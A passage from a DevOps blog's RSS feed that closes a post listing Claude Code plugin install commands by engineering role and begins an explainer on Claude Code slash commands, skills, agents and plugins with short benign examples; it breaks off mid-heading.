<li>Migration from Terraform to OpenTofu</li>
</ul>
<h2 id="h2-recommended-setup-by-role" class="group relative scroll-mt-24">
        <a href="#h2-recommended-setup-by-role" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Recommended Setup by Role
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-recommended-setup-by-role"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-platform-engineer" class="group relative scroll-mt-24">
        <a href="#h3-platform-engineer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Platform Engineer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-platform-engineer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin install shipyard
claude plugin marketplace add hashicorp/agent-skills
claude plugin install terraform-style@hashicorp
claude plugin install terraform-testing@hashicorp
claude plugin install terraform-refactoring@hashicorp
</code></pre><h3 id="h3-sre-operations" class="group relative scroll-mt-24">
        <a href="#h3-sre-operations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          SRE / Operations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sre-operations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin marketplace add devops-claude-skills
claude plugin install k8s-troubleshooter@devops-skills
claude plugin install monitoring-observability@devops-skills
claude plugin install ci-cd@devops-skills
</code></pre><h3 id="h3-cloudfinops-engineer" class="group relative scroll-mt-24">
        <a href="#h3-cloudfinops-engineer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cloud/FinOps Engineer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudfinops-engineer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin marketplace add devops-claude-skills
claude plugin install aws-cost-optimization@devops-skills
claude plugin install iac-terraform@devops-skills
</code></pre><h3 id="h3-devops-generalist" class="group relative scroll-mt-24">
        <a href="#h3-devops-generalist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          DevOps Generalist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-devops-generalist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin install github
claude plugin marketplace add devops-claude-skills
claude plugin install iac-terraform@devops-skills
claude plugin install k8s-troubleshooter@devops-skills
claude plugin install ci-cd@devops-skills
</code></pre><h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Claude Code plugin ecosystem now has serious depth for DevOps work. The foundation is <strong>Context7</strong> for live documentation and <strong>Security Guidance</strong> for vulnerability scanning. On top of that, the <strong>HashiCorp Agent Skills</strong> bring official Terraform and Packer expertise, the <strong>DevOps Skills Marketplace</strong> covers Kubernetes, CI/CD, monitoring, and FinOps, and <strong>Shipyard</strong> handles cross-tool infrastructure validation.</p>
<p>Start with the foundation plugins, then add the role-specific ones that match your daily work. Each plugin you install makes Claude Code more capable at the infrastructure and operations tasks you handle every day.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Claude Code: Agents, Commands, Skills, and Plugins Explained]]></title>
      <link>https://devops.anhp.site/posts/claude-code-agents-commands-skills-plugins-explained</link>
      <description><![CDATA[A clear breakdown of the four extension types in Claude Code - what each one does, how they differ, and when to use which. No marketing fluff, just practical explanations with examples.]]></description>
      <pubDate>Sat, 11 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/claude-code-agents-commands-skills-plugins-explained</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[DevOps]]></category><category><![CDATA[Claude Code]]></category><category><![CDATA[AI]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[CLI]]></category>
      <content:encoded><![CDATA[<p>Claude Code has four different extension mechanisms: <strong>agents</strong>, <strong>commands</strong>, <strong>skills</strong>, and <strong>plugins</strong>. They overlap in confusing ways, and the documentation does not always make the distinctions clear. This post explains what each one actually does, how they relate to each other, and when to use which.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Type</th>
<th>What it is</th>
<th>Runs when</th>
<th>Defined in</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Slash commands</strong></td>
<td>Pre-written prompts you trigger with <code>/</code></td>
<td>When you type <code>/command</code></td>
<td><code>.claude/commands/</code></td>
</tr>
<tr>
<td><strong>Skills</strong></td>
<td>Larger instruction sets Claude loads on demand</td>
<td>When a skill matches the task</td>
<td>Plugin packages</td>
</tr>
<tr>
<td><strong>Agents</strong></td>
<td>Autonomous sub-processes that handle complex tasks</td>
<td>When Claude spawns them</td>
<td>Built-in or custom</td>
</tr>
<tr>
<td><strong>Plugins</strong></td>
<td>Packages that bundle skills, commands, hooks, and MCP servers</td>
<td>At install time</td>
<td>Plugin marketplace or GitHub</td>
</tr>
</tbody></table>
<p>Think of it this way: <strong>plugins</strong> are packages that contain <strong>skills</strong> and <strong>commands</strong>. <strong>Agents</strong> are how Claude delegates work. They are different layers, not competing alternatives.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Claude Code installed</li>
<li>Basic experience using Claude Code for development tasks</li>
<li>A project directory with a <code>.claude/</code> folder</li>
</ul>
<h2 id="h2-slash-commands" class="group relative scroll-mt-24">
        <a href="#h2-slash-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Slash Commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-slash-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Slash commands are the simplest extension type. They are pre-written prompts saved as markdown files that you trigger by typing <code>/</code> followed by the command name.</p>
<h3 id="h3-where-they-live" class="group relative scroll-mt-24">
        <a href="#h3-where-they-live" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where they live
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-where-they-live"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">.claude/
  commands/
    review.md        # /review
    write-test.md    # /write-test
    deploy.md        # /deploy
</code></pre><h3 id="h3-what-they-look-like" class="group relative scroll-mt-24">
        <a href="#h3-what-they-look-like" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What they look like
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-they-look-like"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A command file is just a markdown prompt:</p>
<pre><code class="hljs language-markdown"><span class="hljs-section"># Review this PR</span>

Review the current git diff for:
<span class="hljs-bullet">-</span> Bugs and logic errors
<span class="hljs-bullet">-</span> Security issues
<span class="hljs-bullet">-</span> Performance problems
<span class="hljs-bullet">-</span> Code style inconsistencies

Focus on the changes only, not the entire codebase.
Be specific about line numbers and suggest fixes.
</code></pre><h3 id="h3-how-to-use-them" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to use them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># List available commands</span>
/commands

<span class="hljs-comment"># Run a command</span>
/review
/write-test
</code></pre><h3 id="h3-when-to-use-slash-commands" class="group relative scroll-mt-24">
        <a href="#h3-when-to-use-slash-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to use slash commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-use-slash-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Repetitive prompts you type often (code review, test writing, deployment checks)</li>
<li>Team-shared prompts (commit to <code>.claude/commands/</code> in your repo)</li>
<li>Project-specific workflows (your deploy process, your review checklist)</li>
</ul>
<h3 id="h3-when-not-to-use-them" class="group relative scroll-mt-24">
        <a href="#h3-when-not-to-use-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When NOT to use them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-not-to-use-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Complex multi-step workflows (use skills instead)</li>
<li>Tasks that need external tool access (use MCP servers instead)</li>
<li>One-off prompts you will not repeat (just type them directly)</li>
</ul>
<h2 id="h2-skills" class="group relative scroll-mt-24">
        <a href="#h2-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Skills are more structured than slash commands. They are larger instruction sets that Claude loads on demand when it detects a matching task. Skills can include multiple steps, tool restrictions, and detailed context.</p>
<h3 id="h3-how-skills-differ-from-commands" class="group relative scroll-mt-24">
        <a href="#h3-how-skills-differ-from-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How skills differ from commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skills-differ-from-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th></th>
<th>Slash Commands</th>
<th>Skills</th>
</tr>
</thead>
<tbody><tr>
<td>Triggered by</td>
<td>You type <code>/name</code></td>
<td>Claude detects a matching task</td>
</tr>
<tr>
<td>Size</td>
<td>Short prompts (10-50 lines)</td>
<td>Detailed instructions (50-500 lines)</td>
</tr>
<tr>
<td>Complexity</td>
<td>Single prompt</td>
<td>Multi-step workflows</td>
</tr>
<tr>
<td>Tool access</td>
<td>Uses whatever tools are available</td>
<td>Can restrict to specific tools</td>
</tr>
<tr>
<td>Packaged in</td>
<td><code>.claude/commands/</code> directory</td>
<td>Plugins</td>
</tr>
</tbody></table>
<h3 id="h3-example-skill-write-post" class="group relative scroll-mt-24">
        <a href="#h3-example-skill-write-post" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Example skill: write-post
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-example-skill-write-post"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A skill might instruct Claude to write a blog post with specific frontmatter format, writing style rules, file location conventions, and validation steps. When you say &quot;write a blog post about X,&quot; Claude recognizes this matches the <code>write-post</code> skill and loads those detailed instructions.</p>
<h3 id="h3-how-skills-are-loaded" class="group relative scroll-mt-24">
        <a href="#h3-how-skills-are-loaded" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How skills are loaded
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skills-are-loaded"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Skills come from installed plugins. When you install a plugin, its skills become available. Claude checks skill descriptions against your request and loads matching ones automatically.</p>
<pre><code class="hljs language-text">You: &quot;Write a blog post about Kubernetes networking&quot;

Claude thinks:
  - Does this match any skills?
  - Yes: &quot;write-post&quot; skill matches &quot;write a blog post&quot;
  - Loading skill instructions...
  - Following the skill&#x27;s format, style, and file conventions
</code></pre><h3 id="h3-when-to-use-skills" class="group relative scroll-mt-24">
        <a href="#h3-when-to-use-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to use skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-use-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Complex, multi-step content creation (blog posts, documentation)</li>
<li>Workflows with specific output formats (frontmatter, file naming conventions)</li>
<li>Tasks where consistency matters across multiple runs</li>
</ul>
<h2 id="h2-agents" class="group relative scroll-mt-24">
        <a href="#h2-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Agents are autonomous sub-processes that Claude spawns to handle complex tasks in parallel or in isolation. They are not something you install - they are a built-in capability.</p>
<h3 id="h3-how-agents-work" class="group relative scroll-mt-24">
        <a href="#h3-how-agents-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How agents work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-agents-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Claude encounters a task that would benefit from focused, independent work, it can launch an agent. The agent gets its own context, runs independently, and returns results.</p>
<pre><code class="hljs language-text">You: &quot;Search the codebase for all API routes that don&#x27;t have rate limiting&quot;

Claude spawns an Explore agent that:
  1. Searches all route files
  2. Checks each for rate limiting
  3. Returns a list of unprotected routes

Meanwhile, Claude can continue working on other parts of your request.
</code></pre><h3 id="h3-types-of-agents" class="group relative scroll-mt-24">
        <a href="#h3-types-of-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Types of agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-types-of-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Explore agent</strong> - fast codebase exploration, file searching, code analysis</li>
<li><strong>Plan agent</strong> - designs implementation strategies before coding</li>
<li><strong>General-purpose agent</strong> - handles complex multi-step research or implementation tasks</li>
<li><strong>Custom agents</strong> - you can define specialized agents for your workflows</li>
</ul>
<h3 id="h3-when-agents-are-used" class="group relative scroll-mt-24">
        <a href="#h3-when-agents-are-used" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When agents are used
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-agents-are-used"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You do not usually invoke agents directly. Claude decides when to spawn them based on:</p>
<ul>
<li>Task complexity (simple grep vs multi-file analysis)</li>
<li>Independence (can this subtask run without waiting for other results?)</li>
<li>Context isolation (does this task need a clean context without your conversation history?)</li>
</ul>
<h3 id="h3-agent-vs-doing-it-directly" class="group relative scroll-mt-24">
        <a href="#h3-agent-vs-doing-it-directly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Agent vs doing it directly
        </a>
        <button 
